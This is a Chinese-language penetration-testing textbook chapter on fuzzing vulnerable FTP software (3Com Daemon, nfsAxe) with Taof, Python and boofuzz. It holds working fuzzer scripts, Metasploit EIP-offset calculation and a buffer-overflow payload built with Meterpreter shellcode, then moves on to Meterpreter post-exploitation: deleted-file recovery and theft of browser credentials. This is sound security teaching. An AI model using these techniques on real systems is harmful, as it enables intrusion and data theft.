什么是模糊测试?你已经在本书的其他部分做过一些模糊测试。当我们探索我们易受攻击的 C 程序时,我们会启动 GNU 调试器(GDB),并观察寄存器的状态,同时不断向用户提示输入更多的数据。我们在每次迭代中都会修改输入,尝试引发崩溃或至少一些异常行为。程序的输入可以在某种意义上是格式错误的——无效的格式、添加意外或无效的字符,或者简单地提供过多的数据。模糊测试的目标甚至不一定是一个程序——它可以是实现某种特定协议的网络服务,甚至是生成特定格式文件(如 PDF 或 JPG)的编码器。如果你曾经从事过软件开发,那么这个概念应该非常熟悉。模糊测试可以找到那些可能负面影响用户体验的缺陷,但对于安全从业人员来说,它是一种发现可利用漏洞的方式。
在本章中,我们将深入探讨模糊测试作为一种漏洞研究方法。我们将研究两个具有溢出漏洞的真实程序,但不会透露具体细节。最终,发现编写有效漏洞利用程序所需事实的工作将由我们来完成。
在本章中,我们将涵盖以下主题:
-
针对服务器的网络变异模糊测试
-
编写 Python 模糊测试程序,进行客户端和服务器测试
-
调试目标程序,以便在模糊测试过程中监控内存
-
使用偏移量发现工具来找到适合我们有效载荷的大小
技术要求
本章你将需要以下工具:
-
Kali Linux
-
安装了 WinDbg 的 32 位 Windows 7 测试虚拟机
-
Taof for Windows
-
nfsAxe FTP 客户端版本 3.7(适用于 Windows)
-
3Com Daemon 版本 2r10(适用于 Windows)
网络模糊测试 – 使用 Taof 代理的变异模糊测试
到目前为止,本书一直在探讨可以应用于现场的攻击视角。另一方面,模糊测试(Fuzzing)并不是通常意义上的攻击。它是一种测试方法论;例如,质量保证(QA)工程师经常对用户界面进行模糊测试。那么,作为渗透测试人员,我们何时会利用模糊测试呢?举个例子,假设你刚刚完成了对客户系统的某些侦察工作。你发现有一个服务暴露在互联网上,并且发现它在横幅抓取中显示了其完整的版本信息。你不会想要在生产网络上开始对这个服务进行模糊测试,但你可以获取一份副本并利用你从目标系统中获得的信息将其安装到你的实验室中。我们将看一看一些网络模糊测试,你很可能会在和客户合作的前几天后,在酒店房间里进行这些测试。
如其名所示,突变模糊测试 采用给定的数据集,并逐步对其进行突变。在这里,我们将使用一个专门的工具做类似的事情,这个工具能够让你成为一个真正的艺术家。Taof 是用 Python 编写的,因此一旦你安装了依赖项,它就可以在 Linux 上运行。在本次演示中,我将会在 Windows 上运行它。
在我们的演示中,我们将目标 FTP 服务器运行在单独的 Windows 7 主机上,将代理模糊测试器运行在另一个主机上。然而,如果你没有两个 Windows 7 虚拟机的访问权限,你也可以使用单一主机进行相同的测试。
配置 Taof 代理以连接到远程服务
让我们从配置目标服务开始。这对于我们的演示来说很简单:只需执行 3Com Daemon,它会自动启动其服务器。在左侧,你将看到不同的服务;选择 FTP 服务器,然后查看右侧的状态窗口,确认该服务是否正在监听 21
端口。在我们的演示中,我们可以看到监听器已经检测到了本地分配的地址,也就是 192.168.108.189
。现在,我们知道该将代理指向哪里:
图 14.1 – 3CDaemon 准备接收请求
现在,我们可以切换到 Taof 并点击 数据获取,然后选择 网络设置。你可以将本地服务器地址保持为 0.0.0.0
,但是可以设置端口为你喜欢的任何值,并记住它,方便在下一步连接到代理时使用。在 远程设置 中输入来自 3Com Daemon 状态窗口的 IP 地址和端口:
图 14.2 – Taof 代理配置
一旦你点击 确定,你将能够在点击 开始 之前验证你的设置。此时,代理已经在运行。
通过代理进行模糊测试 – 生成合法流量
这个想法很简单——Taof 现在作为一个普通的代理服务器在运行,代表我们处理与远程服务之间的流量。这是为了让 Taof 在突变模糊测试阶段之前学习期望的流量模式。现在,我们只需要通过任何 FTP 客户端连接到代理。在我们的示例中,使用内置的 FTP 客户端,并指定远程地址为 127.0.0.1
,端口为 1066
,这让我们连接到监听 192.168.108.189
上 21
端口的服务器。
在今天的时代,如果你在 Windows 实验室中使用不安全的协议,而 Windows 防火墙以默认配置运行,那么工作可能会变得非常令人沮丧。你可能需要在进行这些测试之前禁用它。
我们打算发送正常的身份验证数据,所以可以尝试以管理员、访客、pickles
等身份登录 —— 随便你选择。无论如何,这都不重要,因为我们想要模糊测试身份验证过程。当你发送了一些数据后,停止 Taof 代理并返回到请求窗口。你会看到一个请求列表,其中每个条目都有相关内容。浏览这些请求,了解发生了什么。查看 3Com Daemon 的状态窗口,看看这些请求是如何被处理的,也是一个好主意。
现在,让我们通过设置模糊点来确定突变将发生的位置。根据你想要测试的内容,从列表中选择一个请求。在我们的示例中,我们想要搞乱身份验证,因此我选择了我的客户端发送 USER pickles
命令的时刻。选择后,点击设置模糊点:
图 14.3 – 从捕获的请求列表中选择模糊点
如果你像我一样,可能会觉得 Taof 在首次启动时看起来不怎么样。它真正的“劲爆”部分就在下方的模糊请求对话框中。(我总是这样认为 Cain —— 一个看起来不起眼的 GUI,但在引擎盖下却蕴含着强大的力量。话题有点跑偏了。)在这个框中,我们可以看到原始的二进制请求的十六进制表示,以及应用层显示的 ASCII 形式。试着高亮选择请求的部分 —— From
和 To
框标识了模糊点的字符位置范围。此外,注意我们可以执行四种不同的测试 —— 让我们保留启用的三个溢出测试:
图 14.4 – 配置模糊请求
直觉告诉我,我将从完整的字段开始:0
到 14
。在我们的示例中,我只是想跳过细节,直接让服务崩溃。点击添加,然后确定,再点击模糊:
图 14.5 – 观看我们的目标在一次模糊请求中崩溃
塔哥击败!我们看到屏幕上显示了**+ 缓冲区溢出**,随后不断尝试联系服务器,但没有成功。我们知道这个 FTP 服务器存在缓冲区溢出漏洞。然而,我们不知道如何利用这个漏洞。在这一点上,我们需要一个工具,它可以发送有效负载以崩溃服务,并以某种方式让我们恢复到 EIP 的偏移量。我知道你心中的黑客在说什么 —— 为什么不在 Python 中编写呢? 哇,听你这么说我松了一口气。
使用 Kali 和 Python 进行实战模糊测试
这只是我的个人看法,但我认为编写我们自己的模糊测试脚本是必要的。任何编程语言都允许我们构建特殊的有效负载,但 Python 是我个人最喜欢的语言,用于与套接字和文件进行交互。让我们试着理解协议背后发生的事情,然后构建可以按预期方式进行交互的 Python 脚本。如果我们的脚本能“说得通”,目标服务器将乐意接受我们的有效负载。首先让我们看一下脆弱的服务器。
从 Taof 用 Python 的最后一步开始——模糊测试脆弱的 FTP 服务器
我们配置 Taof 对发送到 3Com Daemon 的 USER anonymous
请求进行模糊测试,并看到它崩溃了。我们知道两端发生了什么,但我们需要理解网络中发生了什么。没有比 Wireshark 更好的工具来完成这项任务。设置一个嗅探会话,然后再次运行测试。过滤掉 FTP 通信,看看会话的内容:
图 14.6 – 使用 Wireshark 跟踪 FTP 会话
注意,在完成三次握手并建立连接后,服务器发出的第一个通信是 FTP 220 消息。客户端回复 USER anonymous
请求,正如任何 FTP 服务器预期的那样,返回了 331 消息。接着是 PASS
命令,得到 230 消息(如果服务器允许匿名登录的话)。不要打瞌睡——这段特定的顺序对我们来说很重要,因为我们正在用 Python 构建套接字。你可能还记得 第八章,《Python 基础知识》一章中,我们用新建的套接字连接到服务器并发起了通信。
我们必须告诉脚本在发送任何数据之前等待服务器的问候。节省我们大量时间的是,事实上,我们的模糊测试工具通过USER anonymous
请求让服务器崩溃——这仅仅是建立会话后的第二个数据包!因此,我们可以用一个非常简短的脚本来解决——在我这里是 10 行。(忘掉最终的状态消息,把模糊测试有效负载放入webclient.send()
函数中,你的代码就只剩下八行了。)让我们来看一下:
#!/usr/bin/python
import socket
webhost = "192.168.63.130"
webport = 21
fuzz = '\x7a' * 10
webclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
webclient.connect((webhost, webport))
webclient.recv(512)
webclient.send("USER anonymous" + fuzz)
print("\n\n`* Payload sent! *`\n\n")
这个可爱的程序应该很熟悉。这里的区别非常简单:
-
我们的第一件事,就是在建立 TCP 会话后立即接收服务器的消息。请注意,我们没有为此设置任何变量;我们只是告诉脚本接收最多 512 字节的数据,但并没有提供读取接收到的消息的方法。
-
我们发送服务器期望的内容:
USER anonymous
请求。不过,我们在构建一个模糊测试工具,所以我们将存储在fuzz
中的字符串连接起来。
现在,我本打算告诉你关于 Taof 在其主目录中创建的日志,借此你可以查看模糊测试工具做了什么以及它何时检测到崩溃——但我不会这么做。我会留给你自己去发现是什么输入导致了服务器崩溃。
使用 boofuzz 进行探索
Taof 非常适合轻量级和可视化的模糊测试任务,但既然我们已经在使用 Python,我们需要使用一个更深入的现代工具:boofuzz
。强大的 Sulley 模糊测试框架已不再支持,因此 boofuzz 是原框架的一个分支和继任者。这个名字向其起源致敬:Sulley 得名于《怪兽公司》中的可爱蓝色怪物,因为它特别毛茸茸。(还是说它是毛发?这是另一本书的讨论。)Sulley 遇到了一位来自人类世界的小女孩,因不知道她的真实名字,便称她为Boo,因为她喜欢给人吓一跳的感觉。Sulley 的角色有点像父亲,所以创造者觉得合适将 Sulley 模糊测试框架的继任者命名为 boofuzz。记住这个小小的流行文化细节,或许能为你下次的答题夜带来惊喜。
关于 boofuzz,最重要的是它不像 Taof 那样是一个独立的程序;它是一个模块,你将其导入到脚本中,然后你用它内置的语法来教导它如何与目标互动。因此,自然而然地,包含 boofuzz 强大功能的 Python 脚本将从以下一行开始:
from boofuzz import *
我能听到你内心的小黑客在说:*我们可以构建生成器,输出适合我们任务的 boofuzz 脚本!*的确如此,而且网上有很多很棒的例子。如果你想练习 HTTP,可以去看看 Boo-Gen。它会把一个普通的 HTTP 请求作为输入,生成一个适用于目标 HTTP 服务的 boofuzz 脚本。现在,我们先来尝试 FTP,但希望你能从中看到它的巨大潜力。
不用多说,因为 boofuzz 是用 Python 编写的,它非常灵活(不需要切换回你的 Windows 攻击盒子)且易于在 Kali 中获取。现在我们就来实现这一点。记住,你需要 Python 3 的pip
来完成此操作:
apt update && apt install python3-pip
pip install boofuzz
就是这么简单。获取 boofuzz 并不难——但是有些人抱怨初学者很难适应它。所以,让我们来看一下 boofuzz 语法的基础。
给你的老师留下深刻印象——使用 boofuzz 语法
就像每个 C 程序必须有一个main()
函数一样,每个 boofuzz 脚本必须有一个session
对象。每个模糊测试会话都需要一个目标,而任何目标都需要定义连接类型;这可以分别通过target
和connection
对象来完成。每个 boofuzz 脚本就像一个俄罗斯套娃,定义了在会话中我们的连接类型和目标。它看起来大概是这样的:
session = Session(
target = Target(
connection = TCPSocketConnection("[IP address]", [port])))
你可能会在大多数任务中使用TCPSocketConnection()
类,但你也有其他选择,比如 UDP、原始套接字,甚至串行连接。
当人们抱怨 boofuzz 对初学者相对较难时,我想这与模块本身关系不大,更大程度上是因为每个脚本中需要的协议定义。我们需要教会 boofuzz 如何对目标协议进行模糊测试。正如你能想象的,这使得 boofuzz 成为任何处理专有协议的人的必备资源!现在,让我们来看看 FTP。请注意,我们将指向运行在 192.168.108.211
上的目标 FTP 服务:
图 14.7 – 一个用于测试 FTP 的 boofuzz 脚本
这些每一项都是消息定义——在这个例子中,我们定义了 USER
、PASS
和 STOR
,每个定义都有子项,指明消息的实际内容。我们将通过之前创建的 session
对象调用这些定义,然后调用 session.fuzz()
:
图 14.8 – 启动模糊测试
一旦你用 Python 3 启动了新的脚本,终端窗口会立刻“爆炸”:
图 14.9 – 从命令行运行 Boofuzz
啊!发生了什么?这是 boofuzz 在运行,并且详细地向你报告每一步。肯定需要一些全局视角来查看。在所有这些噪音中,你可能错过了,但日志中的第一行是 信息:Web 界面可以在 http://localhost:26000 找到。哦,谢谢上帝!让我们在模糊器工作时查看一下它。
图 14.10 – 从控制页面运行 Boofuzz
通过这一点,我们看到了 boofuzz 的强大功能和实用性。正如我们所见,工具假设你知道自己在做什么,并且理解协议。也许你有一份 SCADA 环境中某个专有协议的 Wireshark 数据包?boofuzz 是为数不多的工具之一,它允许你通过简单的 Python 风格的目标协议描述,构建一个全面的模糊测试。
让我们总结一下客户端在可模糊服务器上的视角,并查看当与可模糊客户端通信时,服务器所看到的内容。
另一方 – 模糊测试易受攻击的 FTP 客户端
我们可以作为客户端运行模糊器来测试服务,但让我们保持开放的心态——我们可以模糊任何接收我们输入的机制。尽管客户端发起与服务器的对话,但客户端仍然作为对话的一部分接受输入。Taof 允许我们扮演客户端来模糊测试服务——这次,我们测试的是客户端,因此我们需要运行提供模糊输入的服务。
我们已经知道,适用于 Windows 的 nfsAxe FTP 客户端版本 3.7 存在漏洞。现在,让我们扮演一个漏洞发现者的角色,对这个客户端进行模糊测试。我们的 Windows 7 测试盒已经准备好,nfsAxe 客户端也已安装。启动客户端,看看里面的内容:
图 14.11 – 配置易受攻击的 FTP 客户端
注意,我们可以指定会话凭据,或者选择匿名来使客户端立即使用anonymous:guest
登录(前提是服务器支持)。为了简化测试,我们将针对这种行为进行测试。所以,我们知道我们需要一个 FTP 服务器,但它需要对任何输入做出响应,无论其有效性如何,因为目标是将数据发送回去,看看客户端内部发生了什么。还有什么比用 Python 脚本模拟 FTP 服务器更好的方法呢?
使用 Python 编写一个简单的 FTP 模糊测试服务
回到第八章,Python 基础知识,我们仅用核心的 socket 和监听端口功能构建了一个服务器骨架。我们还介绍了一种快速运行某个程序的方法(好吧,直到遇到某个事件,比如中断)– while True
。为了我们的模糊测试 FTP 服务器,我们会做些不同的事情,因为我们需要模拟一个与客户端通信的合法 FTP 服务器的外观。我们还将引入 Python 中的try/except
结构,以便我们能够处理错误和中断。
启动vim fuzzy.py
并输入以下程序:
#!/usr/bin/python3
import socket
import sys
host_ip = '0.0.0.0'
host_port = 21
try:
i = int(input("\n\nHow many bytes of fuzz?\n\n:"))
except ValueError:
print("\n\n* Exception: Byte length must be an integer *")
sys.exit(0)
fuzz = b"\x7a" * i
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host_ip, host_port))
server.listen(1)
print("\n\n` Phuzzy Phil's FuzzTP `\nServer is up.\nListening at %s on port %d" % (host_ip, host_port))
print("Fuzzing exploit length: %d bytes" % len(fuzz))
client, address = server.accept()
print("Connection accepted from FTP client %s, remote port %d" % (address[0], address[1]))
client.send(b"220 Connected to FuzzTP Server by Phuzzy Phil\r\n")
client.recv(1024)
client.send(b"331 OK\r\n")
client.recv(1024)
client.send(b"230 OK\r\n")
client.recv(1024)
client.send(b"220 %s\r\n" % fuzz)
print("\n\nFuzz payload sent! Closing connection, exiting server.\n")
server.close()
client.close()
except socket.error as error:
print("* Error *\n\nDetails:" + str(error))
server.close()
client.close()
sys.exit(1)
except KeyboardInterrupt:
print("\n\n* Keyboard interrupt received *\n")
server.close()
client.close()
sys.exit(1)
很有趣吧?好吧,让我们看看我们做了些什么:
-
第一个
try/except
部分允许用户定义模糊测试的有效载荷。注意,我们通过int(raw_input())
来获取输入。如果raw_input()
返回的是一个字符串,那么int()
会返回一个值错误,我们可以通过except ValueError
来处理这个错误。这只是一些漂亮的代码,不是必需的,对于时间紧迫的渗透测试人员来说,我敢打赌你会直接在代码中定义字节长度,并在 Vim 中根据需要进行修改。 -
我们将模糊测试的有效载荷声明为
fuzz
,其字节为\x7a
。你可以使用任何你喜欢的字符,但我最近有点困,所以我决定使用z。现实生活中我拿不到z,不如把它塞进易受攻击的缓冲区里。 -
现在,来到了熟悉的部分,任何熟悉 Python 中 socket 的人都会知道 – 我们通过
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
创建一个 socket,并将其命名为server
。然后,我们使用server.bind()
和server.listen()
来启动服务器。注意,我将1
传递给server.listen()
;我们只是测试单个客户端,所以只需要1
。 -
如果你用 FTP 客户端或 netcat 连接到我们的模糊小服务器,你会看到一个带有 FTP 服务器响应代码的对话过程。现在,你会看到我们只是在伪造——我们获取一个千字节的响应,然后把它们丢进垃圾桶,一步步发送有效载荷。
-
我们通过两个
except
语句块来处理错误或 Ctrl + C。
陷阱已设置——现在,让我们看看当脆弱客户端不知情地处理我们的模糊负载时会发生什么。
使用 Python 模糊测试工具崩溃目标
不再废话,启动你的模糊测试工具,配置它发送 256 字节数据,然后切换到你的 Windows 7 测试机。打开 nfsAxe FTP 客户端,选择 匿名 访问,并输入 Kali 的 IP 地址作为 Host ID
。
连接并观察结果:
图 14.12 – 测试服务器的视角 – 发送的有效载荷
好吧,虽然有点无聊,但它有效。客户端接收到了有效载荷,并在状态窗口中显示了出来:
…
图 14.13 – 脆弱客户端的视角 – 收到的有效载荷
只是为了好玩,再次执行模糊测试工具,这次发送 4,000 字节。客户端会怎么做?
图 14.14 – 脆弱客户端崩溃了!
胜利,胜利,鸡肉大餐!我们只需要准备我们的利用代码,就能开始执行任意代码了。但等等——我现在听到你内心的黑客声音了。我们知道缓冲区的大小大于 256 字节且小于 4,000 字节。我们是不是得手动在 3,744 字节中找到合适的“甜点”? 你真是机智过人,但不用担心。我们可以简单地生成一串字符,按照一定模式构造,作为我们的模糊负载,观察在客户端 EIP 上被覆盖的字符,识别这个 4 字节的模式,并计算出偏移量。我们本可以手动操作,但 Metasploit 的那些友好人士早就想到了这个问题。
模糊寄存器 – 底层视角
到目前为止我们做的模糊测试研究有效地揭示了这两个 FTP 程序容易受到溢出攻击。现在,我们需要通过观察堆栈来了解幕后发生了什么,方法是发送模糊负载并借助调试器进行分析。当然,这一切都将在调试器下完成。由于我们在 Windows 环境中进行实验,我们会启动 WinDbg 并将其附加到受漏洞影响的软件进程(PID)上。由于我们刚刚玩完 nfsAxe 客户端,我假设它还在你实验室中运行着。不过,保持 3Com Daemon 实验室在手,因为原理是一样的。让我们跟随 Metasploit 的偏移发现工具组合:pattern_create
和 pattern_offset
,一起深入挖掘。
使用 Metasploit 工具集计算 EIP 偏移量
进入 Metasploit 中的 tools
目录,路径为 cd /usr/share/metasploit-framework/tools/exploit
。首先,我们生成一个 4,000 字节的负载,因为我们知道这个长度足以覆盖内存中的关键部分:
图 14.15 – 生成模式负载
几秒钟后,一个新的文本文件会出现在你的 home
目录中。如果你打开它,你会看到 4,000 字节的垃圾数据。不过别急着下结论——这是一个特别制作的字符串,偏移量查找器 pattern_offset.rb
会用它来找到我们的位置。
现在,再次用 Vim 打开你的模糊测试程序,注释掉那些接收输入的行,并设置 fuzz
变量。在注释行之后添加以下代码:
with open("fuzz.txt") as fuzzfile:
fuzz = bytes(fuzzfile.read().rstrip("\n"), "utf-8")
请注意,rstrip()
只是简单地去除文件末尾的换行符:
图 14.16 – 修改服务器以传送我们的特殊负载
保存修改后的模糊测试程序并重新执行。你会注意到负载现在是 4,000 字节长。但别急——我们暂时不要启动 FTP 客户端(我们已经知道它会崩溃)。正如我们在第八章《Python 基础》中回顾的那样,让我们将 FTP 客户端与 WinDbg 链接——在 nfsAxe 客户端运行时,打开 WinDbg 并按 F6 键附加到正在运行的进程。找到 ftp.exe
进程并附加到它:
图 14.17 – 在 WinDbg 中附加到易受攻击的客户端
现在,你准备好连接到模糊测试程序了。在客户端接收到 4,000 字节后,它会崩溃——但我们可以看到 EIP 寄存器被 0x43387143
覆盖了。你内心的手动模糊测试者期待的是类似 0x41414141
或 0x7a7a7a7a
的值,但不要忘记,我们正在使用一个独特的模式来找到偏移量,正如这里所示:
图 14.18 – 崩溃后查看寄存器内容
我知道你现在在想什么——我们使用的是 Intel 处理器,所以这是一个小端字节序的 EIP 地址,对吧? 不错,小徒弟。这意味着 0x43387143
实际上是 43 71 38 43
。快速查阅十六进制 ASCII 表,结果显示 Cq8C
的模式。记住这个值,待会儿用来进行 pattern_offset.rb
的偏移量计算:
# ./pattern_offset.rb --length 4000 --query Cq8C
图 14.19 – 确定我们的负载到达 EIP 的位置
如你所见,pattern_offset
知道要在 pattern_create
提供的给定长度内查找什么。
我知道你在想什么,因为我也曾有过同样的疑问:偏移量是否包括覆盖返回地址的 4 个字节?换句话说,如果偏移量为 2,064 字节,我们需要放入 2,060 字节的填充数据吗?再一次,Metasploit 社区的友好黑客们已经考虑到了这一点,并决定让它保持一致。你看到的就是你在利用代码中需要的部分。因此,我们将再次回到我们的 Python 脚本,将我们的垃圾字节乘以pattern_offset
发现的确切偏移量值,然后连接执行将流向的内存位置的十六进制字符串:
fuzz = b"\x7a" * 2064 + b"\xef\xbe\xad\xde"
让我们看看在我们的脚本中这个是什么样子的:
图 14.20 – 测试我们的数学计算
再次执行一次,观察 EIP(以及 Windows 错误消息中的**异常偏移量(Exception Offset):**值)。恭喜!你已经具备了构造一个有效利用的所有必要部分:
图 14.21 – 有效载荷大小已确认!
我们的特别礼物看起来很漂亮,但我们仍然需要做一点数学运算来完成它。
Shellcode 代数 – 将模糊测试数据转化为利用代码
就像一个兴奋的孩子跑去买糖果,我打开msfvenom
来生成一些 shellcode。我有一段 Windows Meterpreter 的 shellcode,大小为 341 字节。我的小模糊测试与崩溃脚本有效,但它包含 2,064 字节的z,后面跟着目标地址。为了使其生效,我需要将其转换为 NOPs,然后是 shellcode。这变成了一个简单的数学问题:x + 341 = 2,064:
图 14.22 – 在最终计算中考虑 shellcode
使用 Python 编写利用代码的一个好处是,msfvenom
已经准备好以即取即用的格式输出 shellcode:
图 14.23 – 将代数融入我们的利用代码
我把执行你选择的 shellcode 的任务留给你。祝你好运!
总结
本章中,我们介绍了模糊测试作为一种测试方法论和漏洞研究工具。我们从通过网络进行变异模糊测试开始,测试 FTP 服务器对变异认证请求的处理。通过这些信息,我们开发了自动化模糊测试过程的 Python 脚本。在探索 Python 模糊测试时,我们建立了一个模糊测试服务器,向易受攻击的 FTP 客户端提供输入。通过这两个软件,目标是使其崩溃,并了解来自模糊测试器的哪些输入导致了崩溃。最后,我们从低级寄存器内存的角度审视这些崩溃。通过将 WinDbg 附加到易受攻击的进程并在崩溃后检查内存,我们实现了这一目标。通过 Metasploit 的偏移量发现工具,我们演示了如何利用调试和模糊测试编写精确的漏洞利用代码。
在下一章中,我们将深入探讨渗透测试的后期利用阶段,以便了解黑客如何将初步的立足点转变为大规模的系统入侵。
问题
请回答以下问题,测试你对本章内容的理解:
-
模糊测试是较为流行的攻击方式之一,因为它能够导致 shellcode 执行。(对 | 错)
-
在这个请求中,标识出模糊测试点范围 4 到 8:
USER administrator
。 -
Windows 崩溃转储中的
Exception Offset
值与 __________ 中找到的值相同。 -
请列出 Metasploit 中用于一起查找溢出中 EIP 偏移量的两个工具。
-
一名攻击者刚刚发现,如果执行流到达
0x04a755b1
,他们的 NOP sled 将被触发并一直运行到他们的 Windows shellcode。易受攻击的缓冲区长 2,056 字节,shellcode 长 546 字节。他们使用以下代码行准备 shellcode:s = '\x90' * 1510 + buf + '\x04\xa7\x55\xb1'
。为什么这个攻击注定会失败?
延伸阅读
若想了解更多关于本章内容的信息,请参考以下资源:
-
Taof 下载:
sourceforge.net/projects/taof
-
Windows 版本 nfsAxe FTP 客户端 3.7 安装:
www.labf.com/download/nfsaxe.exe
-
Windows 版本 3Com Daemon 漏洞安装:
www.oldversion.com/windows/3com-daemon-2r10
第三部分:后期利用
在本节中,我们将探讨在组织内初步立足之后的攻击阶段。我们将讨论如何从这个独特的视角进行侦察,以发现新的主机,利用已有的细节进行横向移动,并通过获取更高权限的账户进一步渗透到网络中。最后,我们将讨论如何保持对已攻陷资源的访问。
本书的这一部分包括以下章节:
-
第十五章,超越立足点
-
第十六章,提升权限
-
第十七章,保持访问权限
第十五章:超越立足点
在这颗我们称之为家的疯狂飞行的星球上,看到 Meterpreter 会话在发起漏洞利用后弹出,几乎没有什么比这更令人激动的了。有时,成功的入侵可能让你获得了域管理员权限,你几乎可以做任何事情;你可能直接登录到域内的其他系统,收集到被攻陷的计算机,并拿到上面的“战利品”。然而,更有可能的情况是,你只是成功地在由于防火墙和网络分割而只能在网络中看到的几台机器上执行了漏洞利用——你已经建立了一个立足点。立足点这个词借用了攀岩术语——它指的是你可以放置脚步的岩石表面位置,以确保你准备好进一步攀登。在渗透测试中,获得立足点意味着你找到了一个漏洞,可以用来推进自己,但攀登的挑战仍然在前方。
在这一章中,我们将做以下几件事:
-
回顾如何利用立足点位置的概念和方法
-
从我们的立足点位置开始进行枚举
-
讨论如何通过网络进行跳板
-
利用窃取的凭证进一步入侵目标网络中的系统
技术要求
本章的技术要求如下:
-
Kali Linux。
-
一个有多个主机在不同局域网中的 Windows 环境是理想的。
收集“战利品”——使用后收集模块进行枚举
旨在将立足点转化为完全入侵的大型 Metasploit 模块家族被称为后模块。后模块有几种类型,其中有两个主要的子类别——收集和管理。首先,让我们区分一下后管理模块和后收集模块:
-
后管理模块是我称之为入侵管理工具的东西。换句话说,它们让我们管理已完成的入侵,主要是通过修改主机的功能。
-
后收集模块顾名思义,就是帮助我们收集目标信息,为进一步入侵提供支持。突破初步的立足点将需要更多信息;对目标网络的完全渗透是一个迭代过程。不要指望在评估开始时只做一次侦察和足迹分析——在获得立足点后,你还会再次进行这些操作。
我们没有足够的篇幅深入探讨所有的后模块,但一旦突破了外壳,你总是需要进行一些枚举。你需要了解自己在网络中的位置以及所处的环境。因此,让我们通过使用收集模块来查看一些核心的枚举操作。
在我们的例子中,我们刚刚入侵了客户主办公网络中的一台 Windows 7 企业版机器,并且已经建立了 Meterpreter 会话。接下来,我们将发现这台机器有另一块网卡连接到了一个隐藏网络。稍后章节中,我们将查看这种情况并演示如何通过跳跃进入这个隐藏网络。现在,让我们来探索我们立足点 PC 的环境。
使用 Meterpreter 进行 ARP 枚举
一旦我们通过 Meterpreter 建立了连接,我们就控制了这台机器(至少是在有效载荷执行的用户上下文中,权限提升的部分稍后会讨论)。我们可以玩 Meterpreter 的一些有趣工具,或者干脆回归传统,使用命令行来玩。让我们启动 Windows 的 ipconfig
。幸运的是,这个命令已经内置于 Meterpreter 中:
图 15.1 – Meterpreter 会话中的 ipconfig
看这个——一个192.168.249.0/24
的网络,这个网络在我们的 Kali 机器上不可见。如果你阅读了本书的早期章节,你应该已经深深迷上了 ARP,所以让我们来了解一下这个网络。只需将 arp
命令传递给 Meterpreter:
图 15.2 – Meterpreter 中的远程 ARP 表
从外围进行的主机枚举相当有效。这里发生的事情是,Meterpreter 直接提取了主机的 ARP 表,而不是将数据发送到网络中去寻找其他目标;我们使用我们的立足点作为二层间谍,将信息报告给我们。如果在我们立足点的广播域中有计算机并通过 ARP 回复宣布了自己的存在,我们就能在这里得到它的 IP 地址和 MAC 地址映射。
警惕 ARP 反间谍
请记住,这个结果是我们立足点认为正确的映射。如果存在 ARP 欺骗,您看到的就是被污染的表。
让我们在实验室中分析这个结果。由于这是一个 ARP 表,它将包括诸如多播和广播地址等内容——这些可以忽略。对我们来说有趣的是,隐藏网络中还有另一台主机——192.168.249.154
。现在我们有了进一步渗透的线索。我们稍后再关注这个问题——首先,让我们从我们的立足点 PC 上获取一些战利品。在我们从主机跳跃到主机时,这些可能会派上用场。
使用 Meterpreter 进行取证分析 – 偷取已删除的文件
电子数据的等效方式就像是把整个文档扔进垃圾桶,而不是通过十字切割 shredder 处理:将文件从你的电脑中删除。大多数 IT 人员知道,当你在 Windows 中删除一个文件时,操作系统只是将那个空间标记为可用。这比实际删除所有内容要高效得多,但这也意味着旧数据可能非常顽固。有已知的技术可以恢复已删除的文件,还有很多免费的工具可以做到这一点。Metasploit 将这个功能转化为一个友好的掠夺模块。
当你在与 Meterpreter 会话交互时,如果想返回 Metasploit 控制台,可以使用background
命令将会话置于后台。然后你可以使用sessions
命令列出你的 Meterpreter 会话,并使用-i
标志与其中一个会话交互。在我们的实验环境中,到目前为止我只有一个会话,但在实际操作中,你可能有多个会话。这些模块可以像普通的利用程序一样从控制台设置,或者可以从 Meterpreter 内通过run
命令调用——这绝对是一个很棒的功能,特别适合那些你已经完全知道自己想做什么的时刻。不过,在实际操作中,我们常常需要回顾 Metasploit 为我们提供了哪些模块以及它们提供了哪些选项。那么,让我们将会话置于后台,并尝试搜索我们需要的内容:一些取证工作。输入search type:post forensics
并按Enter:
图 15.3 – 搜索取证模块
search
命令可以帮助我们将搜索范围缩小到特定的模块类型,而取证模块属于 post 模块的一部分。在设置了type
参数后,我们只需提供搜索词forensics
。我们想尝试一些已删除文件的枚举和恢复,因此让我们使用post/windows/gather/forensics/recovery_files
,它在索引位置 1,使用use 1
:
图 15.4 – 配置已删除文件恢复模块
你可以为TIMEOUT
设置任何你喜欢的时间;默认是一个小时。如果你设置为0
,那么它将一直运行,直到找到所有它能找到的内容。当然,这可能需要很长时间。输入run
来开始:
图 15.5 – 已删除文件及其唯一 ID
如果你没有指定文件扩展名,模块将只会查找所有已删除的文件。请注意,每个文件都会获得一个唯一的 ID。模块中的FILES=
选项可以用来指定扩展名或通过 ID 选择单个文件。我已经找到了一个我想恢复的文件,所以我再次运行命令,并在FILES
参数中输入文件 ID:
图 15.6 – 恢复已删除文件
扫描器再次运行该文件,匹配 ID,并将其丢进我的战利品袋里。在向高管展示一个包含机密数据的删除文档时,这将是你退出会议时的强有力声明。
Internet Explorer 枚举 – 发现内部 web 资源
我知道,我知道 – Internet Explorer?真的?虽然如今 Chrome 和 Firefox 都很流行,但你会惊讶地发现,Internet Explorer 在企业中的作用仍然不可忽视。没错,我特意提到的是 Internet Explorer 而不是 Edge。
企业通常在服务器和设备上运行应用程序,这些应用程序的管理员控制台通常通过浏览器访问。为什么它们很少为新浏览器进行优化?我不能确定;这取决于供应商。但认识到 Internet Explorer 的作用是很重要的。获取 Internet Explorer 历史记录、Cookies 和存储的凭据将使你能够枚举重要的内部资源,并为未来对它们的攻击提供信息。如果你获取了一些凭据,甚至可能能够登录。当你进行这些操作时,确保利用你在立足点处或更远处的位置 —— 这样,应用程序将看到来自熟悉客户端的登录。
在这种情况下,枚举也非常简单,没什么选项需要担心。只需在 Meterpreter 会话中执行 run post/windows/gather/enum_ie
:
图 15.7 – 从 Internet Explorer 中抢夺资源
尽管 IE 死死地坚持着,但你仍然可以从目标中抢夺现代浏览器的资源 —— post/windows/gather/forensics/browser_history
模块会寻找 Skype、Firefox 和 Chrome 的痕迹。
现在我们已经翻遍了我们的立足点系统的口袋,接下来让我们开始看看如何迈出下一步。
使用 Metasploit 进行网络跳跃
